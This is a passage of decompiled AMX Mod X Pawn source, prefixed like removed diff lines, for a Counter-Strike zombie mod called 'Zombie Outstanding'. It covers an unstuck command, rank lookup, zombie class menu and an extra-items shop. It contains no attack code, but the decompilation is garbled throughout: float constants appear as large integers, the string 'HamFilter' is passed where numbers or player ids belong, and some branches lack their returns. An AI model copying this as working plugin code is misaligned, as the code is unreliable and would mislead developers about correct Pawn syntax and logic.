- if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
- {
- static i;
- static Float:fOrigin[3];
- static Float:fVector[3];
- static Float:fMins[3];
- get_mins(iPlayer, fMins);
- get_origin(iPlayer, fOrigin);
- i = 0;
- while (i < 70)
- {
- fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
- fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
- fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
- if (is_origin_vacant(fVector, iPlayer))
- {
- set_origin(iPlayer, fVector);
- set_velocity(iPlayer, 420404);
- i = 70;
- }
- i += 1;
- }
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You have been unstucked!");
- }
- else
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You are dead or your are not stuck...");
- }
- }
- case 4:
- {
- static Float:fGameTime;
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- fGameTime = get_gametime();
- new var2;
- if (!g_bEnded && g_bRanked[iPlayer] && floatsub(fGameTime, g_fLastRankQuery) >= 1077936128)
- {
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, "");
- g_fLastRankQuery = fGameTime;
- }
- }
- case 5:
- {
- show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public _ZombieClasses(iPlayer, iMenu, iItem)
- {
- new var1;
- if (iItem != -3 && g_bConnected[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[15];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- g_iZombieNextClass[iPlayer] = iChoice;
- AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You will be\x04 %s\x01 after the next infection!", g_cZombieClasses[iChoice]);
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Health:\x04 %s\x01 | Speed:\x04 %0.0f\x01 | Gravity:\x04 %0.0f\x01 | Knockback:\x04 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(1120403456, g_fZombieGravities[iChoice]), floatmul(1120403456, g_fZombieKnockbacks[iChoice]), 422040);
- }
- return 0;
- }
- public _ExtraItems(iPlayer, iMenu, iItem)
- {
- new var1;
- if (g_fLastQuery < 99999.0 && g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var68;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- new var71;
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't buy this item right now!");
- return 0;
- }
- MakeHuman(iPlayer, false, false);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- }
- case 1:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var65;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
- }
- }
- case 2:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var62;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 25, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_flashbang");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
- }
- }
- case 3:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var59;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 9, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_smokegrenade");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
- }
- }
- case 4:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var55;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- new var58;
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't buy this item right now!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
- }
- }
- case 5:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var51;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- new var54;
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't buy this item right now!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 4, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one! [ Use your\x03 Fire Grenade\x01 before ]");
- }
- else
- {
- g_bKilling[iPlayer] = 1;
- give_weapon(iPlayer, "weapon_hegrenade");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought a\x04 Killing Grenade", g_cName[iPlayer]);
- }
- }
- case 6:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var48;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 20, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 1509749160);
- give_weapon(iPlayer, "weapon_m249");
- give_ammo(iPlayer, 20, 9999);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
- }
- }
- case 7:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var45;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 24, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 1509749160);
- give_weapon(iPlayer, "weapon_g3sg1");
- give_ammo(iPlayer, 24, 9999);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
- }
- }
- case 8:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var42;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 13, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 1509749160);
- give_weapon(iPlayer, "weapon_sg550");
- give_ammo(iPlayer, 13, 9999);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
- }
- }
- case 9:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var39;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (user_has_weapon(iPlayer, 9, -1))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- DropWeapons(iPlayer, 1509749160);
- give_weapon(iPlayer, "weapon_awp");
- give_ammo(iPlayer, 18, 9999);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
- }
- }
- case 10:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var36;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bFlash[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bFlashEnabled[iPlayer] = 1;
- g_bFlash[iPlayer] = 1;
- remove_task(iPlayer + 350, "HamFilter");
- set_task(1036831949, "TaskFlash", iPlayer + 350, 318308, "HamFilter", 431548, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
- }
- }
- case 11:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var33;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bNoDamage[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bNoDamage[iPlayer] = 1;
- set_take_damage(iPlayer, "HamFilter");
- sound(iPlayer, 2, "ZombieOutstanding/zombie_madness.wav");
- set_glow(iPlayer, 19, 250, 255, "HamFilter", "HamFilter");
- set_task(1082130432, "TaskRemoveMadness", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Zombie Madness", g_cName[iPlayer]);
- }
- }
- case 12:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var30;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (get_user_jetpack(iPlayer))
- {
- user_drop_jetpack(iPlayer, 1);
- }
- set_user_jetpack(iPlayer, 1);
- set_user_fuel(iPlayer, 1132068864);
- set_user_rocket_time(iPlayer, "HamFilter");
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Press\x03 CTR+SPACE\x01 to fly!");
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Press\x03 RIGHT CLICK\x01 to shoot!");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
- }
- case 13:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var27;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bUnlimitedClip[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bUnlimitedClip[iPlayer] = 1;
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
- }
- }
- case 14:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var24;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (120 < get_armor(iPlayer))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- set_armor(iPlayer, get_armor(iPlayer) + 100);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
- }
- }
- case 15:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var21;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (120 < get_armor(iPlayer))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- set_armor(iPlayer, get_armor(iPlayer) + 200);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
- }
- }
- case 16:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var18;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- g_iMaxJumps[iPlayer]++;
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
- }
- case 17:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var15;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bTryder[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bTryder[iPlayer] = 1;
- strip(iPlayer);
- set_armor(iPlayer, 666);
- set_health(iPlayer, 666);
- give_weapon(iPlayer, "weapon_knife");
- give_weapon(iPlayer, "weapon_deagle");
- give_weapon(iPlayer, "weapon_xm1014");
- give_weapon(iPlayer, "weapon_g3sg1");
- give_weapon(iPlayer, "weapon_ak47");
- give_weapon(iPlayer, "weapon_hegrenade");
- give_weapon(iPlayer, "weapon_flashbang");
- give_weapon(iPlayer, "weapon_smokegrenade");
- give_ammo(iPlayer, 26, 9999);
- give_ammo(iPlayer, 5, 9999);
- give_ammo(iPlayer, 24, 9999);
- give_ammo(iPlayer, 28, 9999);
- g_bUnlimitedClip[iPlayer] = 1;
- set_glow(iPlayer, 19, 60, 155, 48, 255);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- ExecuteHamB(70, iPlayer);
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(190, 55, 115, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 is now a\x04 Tryder", g_cName[iPlayer]);
- }
- }
- case 18:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var12;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bGolden[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bGolden[iPlayer] = 1;
- if (60 > get_armor(iPlayer))
- {
- set_armor(iPlayer, 60);
- }
- if (175 > get_health(iPlayer))
- {
- set_health(iPlayer, 175);
- }
- if (!user_has_weapon(iPlayer, 28, -1))
- {
- give_weapon(iPlayer, "weapon_ak47");
- give_ammo(iPlayer, 28, 9999);
- }
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- client_cmd(iPlayer, "weapon_ak47");
- set_hudmessage(190, 151, 15, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 has now a\x04 Golden Kalashnikov\x03 (AK-47)", g_cName[iPlayer]);
- }
- }
- case 19:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var9;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- if (g_bGoldenDeagle[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have one!");
- }
- else
- {
- g_bGoldenDeagle[iPlayer] = 1;
- if (60 > get_armor(iPlayer))
- {
- set_armor(iPlayer, 60);
- }
- if (175 > get_health(iPlayer))
- {
- set_health(iPlayer, 175);
- }
- if (!user_has_weapon(iPlayer, 26, -1))
- {
- give_weapon(iPlayer, "weapon_deagle");
- give_ammo(iPlayer, 26, 9999);
- }
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- client_cmd(iPlayer, "weapon_deagle");
- set_hudmessage(190, 151, 15, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 has now a\x04 Golden Desert Eagle\x03 (Night Hawk)", g_cName[iPlayer]);
- }
- }
- case 20:
- {
- if (g_iSurvivors)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 There already was a survivor this map!");
- return 0;
- }
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- static cTime[3];
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = true;
- get_time("%H", cTime, "");
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i], g_cName[iPlayer], "HamFilter"))
- {
- bDone = false;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You\x03 already bought\x01 a game mode this map!");
- }
- else
- {
- if (floatsub(fGameTime, g_fRoundStartTime) < 1077936128)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Please wait at least\x04 three seconds\x01 after the round begining!");
- }
- if (cTime[0] == 48)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't be\x03 Survivor\x01 during night...");
- }
- new var8;
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
- {
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- StartSurvivorMode(iPlayer);
- remove_task(700, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Survivor", g_cName[iPlayer]);
- copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
- g_iModeRecordings += 1;
- g_iSurvivors += 1;
- }
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Sorry but you can't buy right now...");
- }
- }
- case 21:
- {
- if (g_iSnipers)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 There already was a sniper this map!");
- return 0;
- }
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- static cTime[3];
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = true;
- get_time("%H", cTime, "");
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i], g_cName[iPlayer], "HamFilter"))
- {
- bDone = false;
- }
- i += 1;
